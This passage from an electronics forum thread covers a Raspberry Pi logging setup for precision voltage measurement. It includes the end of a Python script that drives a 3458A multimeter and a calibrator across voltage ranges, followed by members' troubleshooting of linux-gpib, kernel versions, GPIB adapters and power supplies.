            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 1 V Range    : Nominal = %.10f Volts" %dcv_1V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 10 V range
    elif rangeCounter == 2:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 10")                                # commands the 3458A to 10 V range
        inst_4808.write("R6=")                                      # commands the 4808 to 10 V Range
        inst_4808.write("M10=")                                     # commands the 4808 to a value of 10 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(20)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_10V_FullRange)-1)*1E6                  # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 10 V Range   : Nominal = %.10f Volts" %dcv_10V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 100 V range
    elif rangeCounter == 3:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 100")                               # commands the 3458A to 100 V range
        inst_4808.write("R7=")                                      # commands the 4808 to 100 V Range
        inst_4808.write("M100=")                                    # commands the 4808 to a value of 100 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(30)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_100V_FullRange)-1)*1E6                 # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 100 V Range  : Nominal = %.10f Volts" %dcv_100V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 1000 V range
    elif rangeCounter == 4:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 1000")                              # commands the 3458A to 1000 V range
        inst_4808.write("R8=")                                      # commands the 4808 to 1000 V Range
        inst_4808.write("M1000=")                                   # commands the 4808 to a value of 1000 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(10)
        inst_3458A.write("TARM SGL,1")
        time.sleep(30)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_1000V_FullRange)-1)*1E6                # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 1000 V Range : Nominal = %.10f Volts" %dcv_1000V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0
           

# Opens LogFile and generates end of report statement
with open(LogFile, 'a') as MeterLog:
    MeterLog.write("End of Report! The time is : " + time.strftime("%d/%m/%Y-%H:%M:%S,\n"))
    MeterLog.close()
« Last Edit: January 09, 2017, 01:31:14 am by CalMachine »
All your volts are belong to me
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #236 on: January 09, 2017, 10:16:39 am »
I'd add two more steps

1. To null zero offset with short before going thru reading.
2. To run ACAL on 3458A prior to any measurements.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #237 on: January 11, 2017, 08:59:58 pm »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.
VE7FM
 
The following users thanked this post: bingo600, dr.diesel, Assafl

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #238 on: January 11, 2017, 10:09:01 pm »
Thanks Steve for image. This week I should receive RPi 1 B+ for test.
In meantime has been tested kernel 4.9, I cannot recommend it, rather stay with 4.4.38 or 4.4.35 used on LogNut image. With 4.9 it is almost impossible to log more than day. There is timeout on NI GPIB USB HS adapter.
But this kernel works OK with E5810.

Arduino GPIB adapter assembled and it seems to be similar to Prologix 6.0. Used Arduino Nano.
3D printed enclosure
http://www.thingiverse.com/thing:993349


Also started work on PID temperature controller program for easy tempco measurement. I select E3632A power supply with H bridge from Pololu and 15V/4A TEC module.
H bridge is used for changing polarity by PSU relay signal available on RS232 output ( internal jumpers needs to be placed ) it is possible to control over GPIB.
Current version of algorithm has few issue, so it needs some fine tuning.

During testing logging on GPIB and multiple RPI I realized that I needs more GPIB cables. So I made some DIY, It is more easy to work with them, when instruments has different GPIB connectors orientation.

« Last Edit: January 11, 2017, 10:50:35 pm by plesa »
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #239 on: January 12, 2017, 09:04:11 am »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

Image is 16GB and will probably not fit to majority of 16GB cards, For testing you needs +16GB SD card.
 

Offline dr.diesel

  • Super Contributor
  • ***
  • Posts: 2214
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #240 on: January 12, 2017, 07:28:17 pm »
In meantime has been tested kernel 4.9, I cannot recommend it, rather stay with 4.4.38 or 4.4.35 used on LogNut image. With 4.9 it is almost impossible to log more than day. There is timeout on NI GPIB USB HS adapter.

So this is a kernel issue and not linux-gpib?  Reverting a kernel patch might be an easy solution if we knew more.

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #241 on: January 12, 2017, 09:29:02 pm »
During testing logging on GPIB and multiple RPI I realized that I needs more GPIB cables. So I made some DIY, It is more easy to work with them, when instruments has different GPIB connectors orientation.

Where did you get the GPIB connectors for ribbon , what did they cost ?

/Bingo
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #242 on: January 12, 2017, 09:38:42 pm »
Maybe we should switch to Odroid for the logging platform.

The C2 beats the Rpi3 by lengths in speed and has 2G ram & 1Gb ether throughput both ways, and the C1 is also a nice buy

C1
http://www.pollin.de/shop/dt/OTg1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C1_Einplatinen_Computer_1_5_GHz_QuadCore_4x_USB_1_GB.html


C2
http://www.pollin.de/shop/dt/ODA1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C2_Einplatinen_Computer_1_5_GHz_QuadCore_2_GB_RAM_4x_USB.html


I used to think that the sw support & new kernels for the Rpi platform was the strength of it, the USB-bound IO certainly isn't.
But now the bad kernel stuff seems to be the weakness.

The Odroid is super performing HW , beats a Rpi any day.
But they lag behind in kernelstuff, as AMLOGIC seems slow to port to the newer kernel 4


Well Rpi is prob the most widespread platform, but the Odroid C2 just kicks A..
It might also have the widest set of installable packages, though i have never missed a package on my Ordoids.


I have both C1 & C2 , and might see if i can test linux-gpib w. Agilent-USB-GPIB , in a few weeks.

I have the choice of Ubuntu (Official supported by Hardkernel) or Debian (Community supported) and usually my choice.

/Bingo
« Last Edit: January 12, 2017, 09:44:41 pm by bingo600 »
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #243 on: January 12, 2017, 11:26:44 pm »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

Tried on rpi2 - it won't boot. Stuck in the colorful box display.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #244 on: January 13, 2017, 01:32:39 pm »
Tried on rpi2 - it won't boot. Stuck in the colorful box display.

I'm quite sure the v1 and v2 are NOT kernel compatible.

/Bingo
 
The following users thanked this post: Assafl

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #245 on: January 15, 2017, 10:28:37 am »
Tried on rpi2 - it won't boot. Stuck in the colorful box display.

I'm quite sure the v1 and v2 are NOT kernel compatible.

/Bingo

Duh  :palm: Just reread TheSteve's post and saw it was v1...
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #246 on: January 15, 2017, 10:39:11 am »
While looking for python GPIB examples, I came across PyMeasure.
It has a neat concept of having different classes for different equipments.
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #247 on: January 15, 2017, 02:32:50 pm »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

I haven't good news :(
I used image on my RPi 1 (2011) it's starts OK, but on Agilent 82357B only lights up all 3 leds for a while and after that only red lights. After one second the same.
Unplug and plug adapter back didn't help. (I tried it more times also to different usb ports)
lsub doesn't show Agilent 82357B in the list.
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #248 on: January 15, 2017, 02:35:32 pm »
Meow.

Quote
root@rpi3:/repo/linux-gpib/linux-gpib-code/linux-gpib# uname -a
Linux rpi3.xdevs.com 4.4.34-v7+ #930 SMP Wed Nov 23 15:20:41 GMT 2016 armv7l GNU/Linux

root@rpi3:/repo/linux-gpib/linux-gpib-code/linux-gpib# lsusb
Bus 001 Device 006: ID 0957:0718 Agilent Technologies, Inc.

enter maximum number of bytes to read [1024]:
trying to read 1024 bytes from device...
received string: 'KEITHLEY INSTRUMENTS INC.,MODEL 2001M,0579220,B17  /A01'
Number of bytes read: 58
gpib status is:
ibsta = 0x2100  < END CMPL >
iberr= 0

ibcnt = 58

Bingo600 hinted me that linux-gpib got updated to SVN R1654, which has fix in DMA buffers for Agilent 82357B's on linux kernels 4.x.x.
I hasted to try on plesa's Lognut image, but it didn't work.

So I reformatted SD card and wrote fresh Raspbian + Pixel from RPI site.
Installed usual things, couldn't get linux-gpib to install properly in first place (could not find modules), but after bit of poking with rpi-source python script and few reboots I finally got linux-gpib to install and gpib_config to work.



 :-+ Credits to Dave Penkler and might of open-source software. Thanks!

BFX
Try beefier PSU. I had similar issues before with 4.9V PSU 500mA. After bumping power to 5.1V 1A - all good :)

YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 
The following users thanked this post: dr.diesel, Kean, Assafl

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #249 on: January 15, 2017, 04:21:18 pm »
I haven't got time today, for testing the new linux-gpib release.

But i plan to test on a v1 @kernel 4.4.38 (latest raspbian foundation).
And on a v3 @kernel 4.4.0-1-rpi2 (latest raspbian.org) -
raspbian.org is my favorite and "Debian compliant kernel", w. "apt-get header support" 
I already have the raspbian.org kernel runing on a v3 wo. problems, just need to build & test the latest linux-gpib.

I even think we should switch to that one for the "platform"

/Bingo

« Last Edit: January 15, 2017, 04:32:20 pm by bingo600 »
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #250 on: January 15, 2017, 04:37:31 pm »
@TiN

My latest kernel on a v1 is 4.4.38+ , your's is a lower vers.
Could it be that you didn't apt-get dist-upgrade , and that might cause the header probs. you had ??

To swith to a raspbian.org kernel , just install the latest standard image , and do this.
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1096058/#msg1096058


/Bingo
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #251 on: January 15, 2017, 08:11:16 pm »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

I haven't good news :(
I used image on my RPi 1 (2011) it's starts OK, but on Agilent 82357B only lights up all 3 leds for a while and after that only red lights. After one second the same.
Unplug and plug adapter back didn't help. (I tried it more times also to different usb ports)
lsub doesn't show Agilent 82357B in the list.

As was already mentioned what is your power supply? I am using a high quality 5 volt supply rated for 1.5 amps(which it really can do) and it is connected to the internal headers, I am not using the micro usb jack.
VE7FM
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #252 on: January 15, 2017, 10:44:40 pm »
As was already mentioned what is your power supply? I am using a high quality 5 volt supply rated for 1.5 amps(which it really can do) and it is connected to the internal headers, I am not using the micro usb jack.
I didn't measure this power supply but it's rated for 2.1A
https://www.hej.sk/nabijacka-do-siete-emos-usbee-home-d4/

Tomorrow I will try one of my big HP beast and we will see. :box:
« Last Edit: January 15, 2017, 10:50:10 pm by BFX »
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #253 on: January 16, 2017, 12:33:04 pm »
Meow.

Quote
root@rpi3:/repo/linux-gpib/linux-gpib-code/linux-gpib# uname -a
Linux rpi3.xdevs.com 4.4.34-v7+ #930 SMP Wed Nov 23 15:20:41 GMT 2016 armv7l GNU/Linux

root@rpi3:/repo/linux-gpib/linux-gpib-code/linux-gpib# lsusb
Bus 001 Device 006: ID 0957:0718 Agilent Technologies, Inc.

enter maximum number of bytes to read [1024]:
trying to read 1024 bytes from device...
received string: 'KEITHLEY INSTRUMENTS INC.,MODEL 2001M,0579220,B17  /A01'
Number of bytes read: 58
gpib status is:
ibsta = 0x2100  < END CMPL >
iberr= 0

ibcnt = 58

Bingo600 hinted me that linux-gpib got updated to SVN R1654, which has fix in DMA buffers for Agilent 82357B's on linux kernels 4.x.x.
I hasted to try on plesa's Lognut image, but it didn't work.

So I reformatted SD card and wrote fresh Raspbian + Pixel from RPI site.
Installed usual things, couldn't get linux-gpib to install properly in first place (could not find modules), but after bit of poking with rpi-source python script and few reboots I finally got linux-gpib to install and gpib_config to work.



 :-+ Credits to Dave Penkler and might of open-source software. Thanks!

BFX
Try beefier PSU. I had similar issues before with 4.9V PSU 500mA. After bumping power to 5.1V 1A - all good :)

Good News!

After a fussy linux festival 4.4.38-v7+ works with R1654 on RPi 3.

Note that (as per TiN's comment) I had to run rpi-source.py prior to running ./configure, make and make install.

I can now use ibtest to communicate with the 34401A without a problem. Time for some Python.

Thank you to TiN and Bingo and plesa and all involved in this project.
« Last Edit: January 16, 2017, 12:40:42 pm by Assafl »
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #254 on: January 16, 2017, 02:11:48 pm »
I have just tested linux-gpib (SVN) on a Raspi v3 running the raspbian.org kernel (Debian compliant)
Quote
raspi4:~ $ uname -a
Linux raspi4 4.4.0-1-rpi2 #1 SMP Debian 4.4.6-1+rpi14 (2016-05-05) armv7l GNU/Linux

And it was a success  :-+ :-+
Thank you for the support Dave Penkler - OpenSource is really showing it's worth.

Agilent GPIB Adapter:
Quote
raspi4:~ $ ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02 


Beiming Adapter:
Quote
raspi4:~ $ ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02 

The new udev "magic" for the The Agilent is doing all the init stuff including loading the firmware & running gpib_config.
I wasn't 100% sure if it ran the gpib_config for the Beiming too, as the Beiming identifies w. the final VID/PID on upstart, and doesn't need a firmware load.

So i ran gpib_config manually ,once for the Beiming.

Next to test on a Raspi v1

/Bingo
« Last Edit: January 16, 2017, 02:28:22 pm by bingo600 »
 
The following users thanked this post: TiN

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #255 on: January 16, 2017, 02:58:10 pm »
Testing latest SVN on a Raspi v1

Running the latest "foundation kernel"

Quote
raspi3:~ $ uname -a
Linux raspi3 4.4.38+ #938 Thu Dec 15 15:17:54 GMT 2016 armv6l GNU/Linux

Success  :-+ :-+

Agilent :
Quote
raspi3:~ $ ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02 
cfo@raspi3:~ $

Beiming:
Quote
raspi3:~ $ ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02

/Bingo
 
The following users thanked this post: TiN

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #256 on: January 19, 2017, 09:01:46 am »
I am using the scripts from the plesa's RPI Voltnut GitHub (awesome work!) and didn't want to cause too much wear on the SD card. So I added a rather obvious counter to the script.

The delayed write works by counting the number of measurements (up to variable sd_buffer) - and then closes the files to commit the measurements to SD. A console notice for the SD card commit is displayed so that one can stop logging after a write - otherwise I found I had to look at the time stamp of the log file and keep refreshing... especially if you hold on for long between commits to disk.

It looks like this:


().

Setting up the interval and duration is done in the declarations above the code:
LogDir = '/pub/logs/'
LogFile = LogDir + 'BME280_Log.csv'
sd_buffer = 10 # How many measurements to commit to SD card (to limit writes)
interval = 2 # interval (seconds) between measurements


Of course a better approach would have been to hold off writing until the SD card can write an entire block, or a buffer fills up, etc.

Edit - added similar functionality to 34401A script (plus support for 1 or 2 BME280 sensors).

 
« Last Edit: January 19, 2017, 06:39:43 pm by Assafl »
 

Offline jrz126

  • Newbie
  • Posts: 2
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #257 on: January 19, 2017, 03:16:29 pm »
So whats the procedure for getting a PI V3 up and running with a NI USB-GPIB?
I have one of these powersupplies:

Only interface is through GPIB, or a $500 keyboard which i dont have. Looking to make my own controller for it through GPIB.

Been screwing with this for a couple weeks off and on.  |O

First followed the steps here: https://xdevs.com/guide/ni_gpib_rpi/
Got it to talk and whatnot, but I would get a segfault while trying to run ibtest. Figured it was because i was using a V3 Pi and not a V1.

Found this thread. Tried following the steps in reply 34. But I get this error when i try to install the linux-gpib.
root@raspberrypi:/opt/linux-gpib# sudo ./configure
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /bin/mkdir -p
checking for gawk... no
checking for mawk... mawk
checking whether make sets $(MAKE)... yes
checking whether make supports nested variables... yes
checking whether to enable maintainer-specific portions of Makefiles... no
checking for util/.scm_version.tmp... yes
checking build system type... armv7l-unknown-linux-gnueabihf
checking host system type... armv7l-unknown-linux-gnueabihf
checking Linux kernel directory... configure: WARNING: Linux kernel directory /lib/modules/4.4.38-v7+/build/ does not exist.  Specify using --with-linux-srcdir=DIR.
configure: WARNING: Kernel source tree at /lib/modules/4.4.38-v7+/build/ is not configured.  Copy the
   appropriate configuration file to /lib/modules/4.4.38-v7+/build//.config and then run 'make oldconfig'
   in the kernel source directory.
ok
checking Linux kernel compile flags... make: *** /lib/modules/4.4.38-v7+/build/: No such file or directory.  Stop.
configure: WARNING: Failed to get compile flags from Linux kernel directory.
ok
checking for gcc... gcc


Anyone else run into this issue?
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #258 on: January 19, 2017, 03:45:37 pm »
Did you install the headers and after run rpi-source?

I had similar issues until I ran rpi-source.

See a few pages back (run as sudo):
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1075495/#msg1075495
 

Offline jrz126

  • Newbie
  • Posts: 2
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #259 on: January 19, 2017, 04:05:22 pm »
Yes. those are the steps i was following. Did you have to modify anything extra?
 
Attached the console log from installing the rpi-source.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #260 on: January 19, 2017, 04:24:53 pm »
First followed the steps here: https://xdevs.com/guide/ni_gpib_rpi/
Got it to talk and whatnot, but I would get a segfault while trying to run ibtest. Figured it was because i was using a V3 Pi and not a V1.

You do not have kernel header or kernel source availble
Perform
sudo apt-get update
sudo apt-get upgrade
sudo apt-get raspberrypi-kernel raspberrypi-kernel-headers
And try to reinstall linux-gpib
If it will not work post kernel version.

In general if you are using iiferent kernels shoulb be enough
sudo wget https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source -O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-update
sudo rpi-source
sudo reboot
this will download and link kernel sources but reguire more space.


Also I can confirm that the 82357B adapter is now running with 4.4.38 and also with more recent 4.4.x.
Thanks Bingo600 and Dave.
« Last Edit: January 19, 2017, 06:38:59 pm by plesa »
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #261 on: January 23, 2017, 08:15:53 pm »
Just a silly question. I know 99,99% the response is yes but worth checking ...

With this NI USB-GPIB (or any of this GPIB2USB adaptor) is it possible to have multiple scripts running on different instruments at the same time (on the same raspberry)?

Actually with my ancient "NI-ENET" adaptor I'm running a 10V data logging script on my 3458a for my LTZ1000 reference and another script for TC of resistor using a K2001 and a Siglent Power supply via USBTMC.

Two scripts and three instruments ... yes it's really a mess but this things takes forever so it's worth doing in parallel to get forever/2.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #262 on: January 23, 2017, 09:24:06 pm »
Just a silly question. I know 99,99% the response is yes but worth checking ...

With this NI USB-GPIB (or any of this GPIB2USB adaptor) is it possible to have multiple scripts running on different instruments at the same time (on the same raspberry)?

Actually with my ancient "NI-ENET" adaptor I'm running a 10V data logging script on my 3458a for my LTZ1000 reference and another script for TC of resistor using a K2001 and a Siglent Power supply via USBTMC.

Two scripts and three instruments ... yes it's really a mess but this things takes forever so it's worth doing in parallel to get forever/2.

Yes, there is almost no limitations, of course do no try to control same instruments from two scripts.
I was using 3458A, 3457A,K2001M, 34401A,34420A, 34410A,34411A and E3631A on NI-GPIB HS adater and simutaneously L4411A over USBTMC. Each instrument has own logging and some of them were also logging the temperature from 2x BME280.
What was only problem was stability of kernels. The best seems to be official RPI foundation 4.4.38 running on RPI2/3.
Also try to keep at least half of instruments connected on GPIB powered on.Recommended for GPIB bus.
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #263 on: January 23, 2017, 10:36:20 pm »
"fortunately" I'm using this NI GPIB-ENET adapter. Raspberry connect to GPIB adapter by Ethernet and everything is rock stable.

Unfortunately there is not kernel support for this adapter. So is usable only in Python with some library someone wrote for this adapter that connects directly via socket.

Everything comes with pro and cons ...

Inviato dal mio Nexus 6P utilizzando Tapatalk

 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #264 on: January 23, 2017, 11:18:44 pm »
"fortunately" I'm using this NI GPIB-ENET adapter. Raspberry connect to GPIB adapter by Ethernet and everything is rock stable.

Unfortunately there is not kernel support for this adapter. So is usable only in Python with some library someone wrote for this adapter that connects directly via socket.

Everything comes with pro and cons ...

Inviato dal mio Nexus 6P utilizzando Tapatalk

The Ethernet adapters are supported, tested with E5810.
Support is writen by Alex ( member here)
http://alexforencich.com/wiki/en/python-vxi11/start

In scripts replace

Code: [Select]
import Gpib
inst = Gpib.Gpib(0,22)
by
Code: [Select]
import vxi11
inst = vxi11.Instrument("192.168.0.27", "gpib0,22")




 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #265 on: January 24, 2017, 12:01:28 am »
I have to check again but I don't think this adapter support any standard protocol.

Even NI software has dropped support for it long time ago. ENET 100 (the one I have is 10 Mbits) and this Agilent are another story.

Inviato dal mio Nexus 6P utilizzando Tapatalk

 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #266 on: January 24, 2017, 04:06:26 am »
Quote
With this NI USB-GPIB (or any of this GPIB2USB adaptor) is it possible to have multiple scripts running on different instruments at the same time (on the same raspberry)?

Yes, talking to multiple instruments over same GPIB dongle using linux-gpib is possible, I had runs when two python apps interfacing different instruments. But I prefer not to do that, as if error or timeout occur on one of transfers, the other one likely to fail as well, as GPIB dongle still processes requests serially.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #267 on: January 25, 2017, 11:36:48 pm »
TIN: Ohh that's bad but still better than nothing. Are you sure of this?

I have to check mine if this happens ... any idea how to reproduce this problem?

 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #268 on: January 26, 2017, 04:26:32 am »
Easy.
Connect two instruments on let's say GPIB 7 and GPIB 8. Run two snakes to read something in loop from either instrument. Then turnoff one instrument and watch if remaining one+it's snake still alive  :)
